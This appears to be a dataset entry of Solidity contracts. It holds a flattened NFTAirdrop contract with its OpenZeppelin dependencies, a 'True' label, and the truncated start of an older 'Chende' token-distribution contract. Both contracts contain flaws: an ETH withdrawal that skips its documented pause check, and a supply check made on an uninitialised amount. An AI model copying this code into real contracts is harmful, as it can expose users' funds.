* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// Dependency file: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
// pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// Dependency file: @openzeppelin/contracts/security/Pausable.sol
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
// pragma solidity ^0.8.0;
// import "@openzeppelin/contracts/utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// Dependency file: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
// pragma solidity ^0.8.0;
// import "@openzeppelin/contracts/utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
// pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Dependency file: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
// pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Dependency file: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
// pragma solidity ^0.8.0;
// import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// import "@openzeppelin/contracts/utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Dependency file: contracts/parts/Withdrawable.sol
// pragma solidity ^0.8.9;
// import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
abstract contract Withdrawable {
using SafeERC20 for IERC20;
using Address for address;
event WithdrawToken(address token, address recipient, uint256 amount);
event Withdraw(address recipient, uint256 amount);
function _deliverFunds(
address _recipient,
uint256 _value,
string memory _message
) internal {
(bool sent, ) = payable(_recipient).call{value: _value}("");
require(sent, _message);
}
function _deliverTokens(
address _token,
address _recipient,
uint256 _value
) internal {
IERC20(_token).safeTransfer(_recipient, _value);
}
function _withdraw(address _recipient, uint256 _amount) internal virtual {
require(_recipient != address(0x0), "NFTAirdrop: address is zero");
require(
_amount <= address(this).balance,
"NFTAirdrop: not enought BNB balance"
);
_afterWithdraw(_recipient, _amount);
_deliverFunds(_recipient, _amount, "NFTAirdrop: Can't send BNB");
emit Withdraw(_recipient, _amount);
}
function _afterWithdraw(address _recipient, uint256 _amount)
internal
virtual
{}
function _withdrawToken(
address _token,
address _recipient,
uint256 _amount
) internal virtual {
require(_recipient != address(0x0), "NFTAirdrop: address is zero");
require(
_amount <= IERC20(_token).balanceOf(address(this)),
"NFTAirdrop: not enought token balance"
);
IERC20(_token).safeTransfer(_recipient, _amount);
_afterWithdrawToken(_token, _recipient, _amount);
emit WithdrawToken(_token, _recipient, _amount);
}
function _afterWithdrawToken(
address _token,
address _recipient,
uint256 _amount
) internal virtual {}
}
// Dependency file: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
// pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// Dependency file: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
// pragma solidity ^0.8.0;
// import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// Dependency file: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
// pragma solidity ^0.8.0;
// import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// Dependency file: contracts/interfaces/ISNC.sol
// pragma solidity ^0.8.9;
// import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
interface ISNC is IERC721Enumerable {
function mint(address _to, uint256 _tokenId) external;
}
// Root file: contracts/NFTAirdrop.sol
pragma solidity ^0.8.9;
// import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
// import "@openzeppelin/contracts/security/Pausable.sol";
// import "@openzeppelin/contracts/access/Ownable.sol";
// import "contracts/parts/Withdrawable.sol";
// import "contracts/interfaces/ISNC.sol";
contract NFTAirdrop is Ownable, Pausable, ReentrancyGuard, Withdrawable {
using SafeERC20 for IERC20;
using Address for address;
mapping(uint256 => uint256[]) public requests;
//address => request ids
mapping(address => uint256[]) public userRequests;
mapping(uint256 => bool) public claimedTokenId;
address public sncAddress;
uint256 public maxTokenId;
uint256 public requestsReceived;
uint256 public tokenRewardAmount = 3;
event RequestReceived(address user, uint256 requestId);
event UpdateSncAddress(address sncAddress);
event UpdateTokenRewardAmount(uint256 _tokenRewardAmount);
event UpdateMaxTokenId(uint256 _maxTokenId);
constructor(address _sncAddress, uint256 _maxTokenId) {
sncAddress = _sncAddress;
maxTokenId = _maxTokenId;
}
function claim() public whenNotPaused nonReentrant {
address account = _msgSender();
uint256 balance = ISNC(sncAddress).balanceOf(account);
require(balance > 0, "NFTAirdrop: snc not found");
uint256 requestId = requestsReceived;
userRequests[account].push(requestId);
for (uint256 i = 0; i < balance; i++) {
uint256 tokenId = ISNC(sncAddress).tokenOfOwnerByIndex(account, i);
if ((tokenId <= maxTokenId) && (!claimedTokenId[tokenId])) {
uint256 totalSupply = ISNC(sncAddress).totalSupply();
for (uint256 j = 1; j <= tokenRewardAmount; j++) {
uint256 tokenMinted = totalSupply + j;
ISNC(sncAddress).mint(account, tokenMinted);
requests[requestId].push(tokenMinted);
}
claimedTokenId[tokenId] = true;
}
}
requestsReceived += 1;
}
function getTokenIdsOnBalance(address _account)
external
view
returns (uint256[] memory ids)
{
uint256 balance = ISNC(sncAddress).balanceOf(_account);
uint256 j = 0;
for (uint256 i = 0; i < balance; i++) {
uint256 tokenId = ISNC(sncAddress).tokenOfOwnerByIndex(_account, i);
if ((tokenId <= maxTokenId) && (!claimedTokenId[tokenId])) {
j = j + 1;
}
}
uint256[] memory newIds = new uint256[](j);
j = 0;
for (uint256 i = 0; i < balance; i++) {
uint256 tokenId = ISNC(sncAddress).tokenOfOwnerByIndex(_account, i);
if ((tokenId <= maxTokenId) && (!claimedTokenId[tokenId])) {
newIds[j] = tokenId;
j = j + 1;
}
}
ids = newIds;
}
function getUserRequestsLength(address _account)
external
view
returns (uint256 length)
{
length = userRequests[_account].length;
}
function getTokenIds(address _account, uint256 _requestIndex)
external
view
returns (uint256[] memory ids)
{
uint256 requestId = userRequests[_account][_requestIndex];
ids = requests[requestId];
}
/// @notice management function. Withdraw all tokens in emergency mode only when contract paused
function withdrawToken(address _token, address _recipient)
external
virtual
whenPaused
onlyOwner
{
uint256 amount = IERC20(_token).balanceOf(address(this));
_withdrawToken(_token, _recipient, amount);
_afterWithdrawToken(_token, _recipient, amount);
}
/// @notice management function. Withdraw some tokens in emergency mode only when contract paused
function withdrawSomeToken(
address _token,
address _recipient,
uint256 _amount
) public virtual whenPaused onlyOwner {
_withdrawToken(_token, _recipient, _amount);
_afterWithdrawToken(_token, _recipient, _amount);
}
///@notice withdraw all ETH. Withdraw in emergency mode only when contract paused
function withdraw() external virtual whenPaused onlyOwner {
_withdraw(_msgSender(), address(this).balance);
}
///@notice withdraw some ETH. Withdraw in emergency mode only when contract paused
function withdrawSome(address _recipient, uint256 _amount)
external
virtual
onlyOwner
{
_withdraw(_recipient, _amount);
}
/// @notice pause contract
function pause() external onlyOwner {
_pause();
}
/// @notice unpause contract
function unpause() external onlyOwner {
_unpause();
}
function updateSncAddress(address _sncAddress) external onlyOwner {
sncAddress = _sncAddress;
emit UpdateSncAddress(_sncAddress);
}
function updateTokenRewardAmount(uint256 _tokenRewardAmount)
external
onlyOwner
{
tokenRewardAmount = _tokenRewardAmount;
emit UpdateTokenRewardAmount(_tokenRewardAmount);
}
function updateMaxTokenId(uint256 _maxTokenId)
external
onlyOwner
{
maxTokenId = _maxTokenId;
emit UpdateMaxTokenId(_maxTokenId);
}
} | True | [
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pragma solidity 0.4.19;
contract Chende {
string public symbol = "CW";
string public name = "Chende World";
uint8 public constant decimals = 18;
uint256 _totalSupply = 0;
uint256 _MaxDistribPublicSupply = 0;
uint256 _OwnerDistribSupply = 0;
uint256 _CurrentDistribPublicSupply = 0;
uint256 _FreeTokens = 0;
uint256 _Multiplier1 = 2;
uint256 _Multiplier2 = 3;
uint256 _LimitMultiplier1 = 4e15;
uint256 _LimitMultiplier2 = 8e15;
uint256 _HighDonateLimit = 5e16;
uint256 _BonusTokensPerETHdonated = 0;
address _DistribFundsReceiverAddress = 0;
address _remainingTokensReceiverAddress = 0;
address owner = 0;
bool setupDone = false;
bool IsDistribRunning = false;
bool DistribStarted = false;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed _owner, uint256 _value);
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
mapping(address => bool) public Claimed;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function Chende() public {
owner = msg.sender;
}
function() public payable {
if (IsDistribRunning) {
uint256 _amount;
if (((_CurrentDistribPublicSupply + _amount) > _MaxDistribPublicSupply) && _MaxDistribPublicSupply > 0) revert();
if (!_DistribFundsReceiverAddress.send(msg.value)) revert();
if (Claimed[msg.sender] == false) {
_amount = _FreeTokens * 1e18;
_CurrentDistribPublicSupply += _amount;
balances[msg.sender] += _amount;
_totalSupply += _amount;
Transfer(this, msg.sender, _amount);
Claimed[msg.sender] = true;
}
require(msg.value <= _HighDonateLimit);
if (msg.value >= 1e15) {
if (msg.value >= _LimitMultiplier2) {
_amount = msg.value * _BonusTokensPerETHdonated * _Multiplier2;
} else {
if (msg.value >= _LimitMultiplier1) {
_amount = msg.value * _BonusTokensPerETHdonated * _Multiplier1;
} else {
_amount = msg.value * _BonusTokensPerETHdonated;
}
}
_CurrentDistribPublicSupply += _amount;
balances[msg.sender] += _amount;
_totalSupply += _amount;
Transfer(this, msg.sender, _amount);
}
} else {
revert();
}
}
function SetupToken(string tokenName, string tokenSymbol, uint256 BonusTokensPerETHdonated, uint256 MaxDistribPublicSupply, uint256 OwnerDistribSupply, address remainingTokensReceiverAddress, address DistribFundsReceiverAddress, uint256 FreeTokens) public {
if (msg.sender == owner && !setupDone) {
symbol = tokenSymbol;
name = tokenName;
_FreeTokens = FreeTokens;
_BonusTokensPerETHdonated = BonusTokensPerETHdonated;
_MaxDistribPublicSupply = MaxDistribPublicSupply * 1e18;
if (OwnerDistribSupply > 0) {
_OwnerDistribSupply = OwnerDistribSupply * 1e18;
_totalSupply = _OwnerDistribSupply;
balances[owner] = _totalSupply;
_CurrentDistribPublicSupply += _totalSupply;
Transfer(this, owner, _totalSupply);
}
_DistribFundsReceiverAddress = DistribFundsReceiverAddress;
if (_DistribFundsReceiverAddress == 0) _DistribFundsReceiverAddress = owner;
_remainingTokensReceiverAddress = remainingTokensReceiverAddress;
setupDone = true;
}
}
function SetupMultipliers(uint256 Multiplier1inX, uint256 Multiplier2inX, uint256 LimitMultiplier1inWei, uint256 LimitMultiplier2inWei, uint256 HighDonateLimitInWei) onlyOwner public {
_Multiplier1 = Multiplier1inX;
_Multiplier2 = Multiplier2inX;
_LimitMultiplier1 = LimitMultiplier1inWei;
_LimitMultiplier2 = LimitMultiplier2inWei;
_HighDonateLimit = HighDonateLimitInWei;
}
function SetBonus(uint256 BonusTokensPerETHdonated) onlyOwner public {
